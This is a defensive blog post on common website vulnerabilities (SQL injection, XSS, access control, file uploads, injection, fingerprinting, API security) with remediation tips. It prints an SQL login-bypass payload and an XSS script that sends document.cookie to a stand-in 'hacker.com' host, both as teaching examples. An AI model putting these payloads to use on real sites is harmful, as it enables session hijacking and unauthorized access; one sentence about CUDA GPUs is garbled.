- Sep 19, 2023
- Athar Rasool
- No Comments
If you run a website or web app these days, locking it down tight against vulnerabilities is mission critical. Hackers are constantly poking and prodding sites looking for any weakness they can exploit to steal data, hijack accounts, spread malware and cause trouble.
You gotta be diligent about hardening your site against these common security holes. Consider this your guide to the most prevalent web vulnerabilities organizations face along with practical tips for how to fix them. I’ll share examples from my own experience to illustrate how these flaws enable real world attacks. Let’s do this!
SQL Injection Flaws
SQL injection is one of the oldest yet still most widespread web application vulnerabilities. It happens when user inputs aren’t sanitized properly before being passed into SQL database queries.
For example, say a login form takes a username and password, then builds a SQL query like:
“`
“SELECT * FROM users WHERE username = ‘” + entered_username + “‘ AND password = ‘” + entered_password + “‘”
“`
So if a user enters a valid username and password, no problem. But a hacker could enter malicious SQL code like:
“`
‘ OR 1=1 —
“`
Now the query becomes:
“`
“SELECT * FROM users WHERE username = ” OR 1=1 –‘ AND password = ‘anything'”
“`
See what happened? The hacker injected code that evaluates to TRUE using OR 1=1 allowing them to bypass login. Then the — comments out the rest of the query. And boom – they just hacked their way in via SQL injection!
From there, imagine what other kinds of dangerous SQL commands hackers can execute – stealing data, modifying records, dropping tables, etc. It’s bad news.
I once consulted with a company that got hacked exactly like this through their login page. All our user passwords got stolen! We had to force password resets on everyone. What a nightmare that could have been prevented by proper coding.
To fix SQL injection risks, use parameterized queries that separate user inputs from the query logic. For example:
“`
SELECT * FROM users WHERE username = ? AND password = ?
“`
Then bind the parameters to the user inputs:
“`
query.setString(1, entered_username);
query.setString(2, entered_password);
“`
Parameterization prevents injection by treating user inputs as data rather than part of the executable query.
You should also validate form inputs by data type, length, format etc on the client and server side before queries. Filter out any weird chars or strings that could break the intended logic once concatenated. Catch issues early!
XSS (Cross-Site Scripting) Attacks
Another common flaw is XSS, where attackers inject malicious JavaScript into vulnerable web pages. This gets executed by user browsers opening the door to account hijacking, UI defacement, phishing and more mischief.
Reflected XSS tricks users into clicking links with malicious code in the URL. Stored XSS is where the injected scripts get saved permanently into something like a comment system.
For example, a hacker could submit a comment containing code like:
“`html
<script>
fetch(‘https://hacker.com/cookie?=’ + document.cookie);
</script>
“`
When users visit that page, the script secretly sends their login cookies to the hacker site! Now the attacker can steal their session and hijack the account. Super devious.
I’ve seen XSS issues compromised customer accounts on a number of sites over the years. It creates massive headaches for businesses and erodes user trust.
To prevent XSS, you need rigorous input validation and output encoding. Client side validation alone isn’t enough since it’s easy to bypass – you gotta encode everywhere before outputting user submissions back onto pages.
Use libraries like ESAPI to encode dangerous characters like < > that could form working HTML/JS if left raw. This converts them into safe escaped text that browsers won’t execute.
Filtering inputs for script tags and other unwanted strings provides another layer of protection. The key is to never trust anything submitted by users. Treat all inputs and outputs as untrusted, validating and encoding everything.
Broken Access Controls
Access controls regulate who can access parts of an app such as admin panels or user accounts. But often devs mistakenly tie access logic only to UI elements, meaning anyone can hit APIs directly and bypass UI restrictions.
For example, an API to delete user accounts might check if someone clicks the Delete button on the profile page. But a hacker can just call that API directly with a curl command to delete anyone.
I’ve seen attackers exploit these kinds of holes to take over admin accounts, download databases, and wipe production data. Don’t take access rules enforced client-side as sufficient!
To fix it, apply access controls on the server as well:
- Check user identity and roles on each API endpoint.
- Validate user IDs in parameters to prevent ID manipulation attacks.
- Use allowlists instead of denylists if possible.
- Limit unnecessary data access between microservices.
- Rotate API keys and access tokens frequently.
With layered access limits enforced server-side, exploits become much harder. Never assume client checks are enough if those requests hit your APIs directly!
Insecure File Uploads
Web apps that allow file uploads can be vulnerable if they don’t check and sanitize uploaded content sufficiently. This allows hackers to upload malicious scripts or executables for attacks.
For example, a site that allows profile picture uploads might accept any image file like .jpg or .png. However, a hacker can rename a malicious PHP script with a .jpg extension and upload it. If the server executes .jpg files, that PHP would get run!
I’ve also seen Excel XLSX files uploaded with dangerous macros embedded inside. Timed code hidden in images is another trick. Lots of creative hacks target file uploads.
To secure this vector, you need to:
- Check file extensions against a strict allowlist – don’t just rely on user-submitted MIME types which can lie.
- Scan uploads for potential malicious content – use antivirus scanning for executables and scripts.
- Limit file types needed for the app only – e.g. just images on a social media site. Avoid unnecessary risks.
- Sandbox storage and scan uploaded files again on access to catch any time-bomb malware.
- Set file permissions appropriately to prevent execution of user uploads.
With cautious handling, file uploads don’t need to be an avenue for attack. But neglecting them throws open the doors, so be diligent!
Injection Vulnerabilities
We already discussed SQL injection and XSS specifically, but injection attacks can exploit any inputs concatenated into interpretable code. For example:
- OS command injection by tricking OS shell commands
- LDAP injection to manipulate LDAP queries
- Server-side template injection
- Email header injection (a nasty one!)
Basically anytime app logic blindly passes untrusted data into an interpreter without sanitizing, risks happen. The access CUDA GPUs, delete files, send spam, or steal data.
I once saw attackers exploit a mail server that accepted user emails with custom bounce return addresses. They injected nasty curl commands into the return address field which got passed to a shell on delivery bounces. Sneaky stuff!
The common thread is vigilant input sanitization. Treat anything submitted by users as dangerous. Validate data types, format, length, charset, etc. And don’t directly concatenate those values into interpretable code! Use parameters or encoding to keep them separate.
Fingerprinting Flaws
Another easy but dangerous slip is leaving debug information and verbose error messages exposed that reveal too much info about apps and infrastructure. Hackers love this visibility.
Examples include stack traces, server versions, IPs/ports, debugging endpoints, admin consoles – anything that enables recon and fingerprinting.
I’ve seen WordPress sites obviously running 5+ year old versions based on generators metatags. And sloppy custom PHP errors telling which MySQL driver is in use. Don’t make yourself an easy target!
The solution is:
- Lock down non-public apps with auth and allowlists
- Obfuscate informative errors into generic messages
- Disable unnecessary HTTP methods if not used by the app
- Mask server fingerprints in headers and client requests
Visibility enables attackers – don’t gift wrap intel! Starve their recon by locking down leaks.
Insecure API Endpoints
Exposed APIs and third-party integrations expand the attack surface dramatically by enabling a whole new class of vectors:
- Information leakage if error handling reveals implementation details
- Ability to brute force credentials via login APIs
- Rate limit abuse accomplished by distributed attacks across IPs
- Business logic manipulation by tampering with workflow APIs
- Credential theft by intercepting unencrypted traffic
I once did a gig securing a mobile app that stored user passwords in plain text in a cookie. Obvious API vulns like that make attackers lives easy.
API security requires mindset shifts – you can’t trust clients implicitly as with browser to server web. Enforce rigorous authentication, rate limiting, encrypt traffic always, and validate inputs even from internal apps calling your APIs. Never assume the happy path in code!
The Essence of Website Security
Looking across common website vulnerabilities, the root causes tend to come down to two core coding sins:
- Blindly trusting input data
- Failing to understand the execution context code runs within
That’s what enables injection attacks of all flavors – the app doesn’t expect or allow for raw unvalidated data ending up in an executable interpreter context.
You have to comprehensively sanitize inputs AND encode outputs while understanding how they touch various interpreters. Don’t give unstructured data affordances it shouldn’t have. Earn trust!
Of course there are always edge cases and zero days that will arise inevitably. But just instilling more thoughtful, hardened coding practices eliminates a huge swath of well-understood vulnerabilities according to OWASP stats.
Stay vigilant against new threats but don’t overlook the well understood basics! Write code carefully and defensively.
Protect Users AND Business Reputation
At the end of the day, why invest in security? Two reasons:
- Protect users from harm like identity theft or malware. Privacy is an obligation owed to customers – don’t betray their trust in you to be responsible custodians.
- Protect your business reputation. Breaches mean lost trust, customers, even lawsuits and fines. Slow painful recovery is possible, but why risk brand damage that could take years to undo? Prevention is easier!
Half-assing security trades real harms to users and existential threat to your business… all to save a little short term dev time. That’s insane when considered honestly!
Do the right thing: follow security best practices, test rigorously, monitor traffic, fix issues promptly. It’s truly a small incremental investment compared to the catastrophic costs you will incur otherwise. Don’t learn this lesson the hard way like I’ve seen done repeatedly over the years. Be smart upfront.
Alright, that was a boatload of security wisdom to absorb! Take these lessons to heart in your own work to make websites safer for everyone. Let’s lower the profitability of shady hacking practices by cultivating diligent defense across the web. We’re all in this together!
Muhammad Athar Rasool, CEO of DS Technologies (Pvt.) LTD, regularly shares his expertise on web development, design, and security, along with insights on IoT and emerging trends. A keen writer, he often expresses his interests, concerns, and opinions on these topics, providing valuable content for those navigating the digital landscape.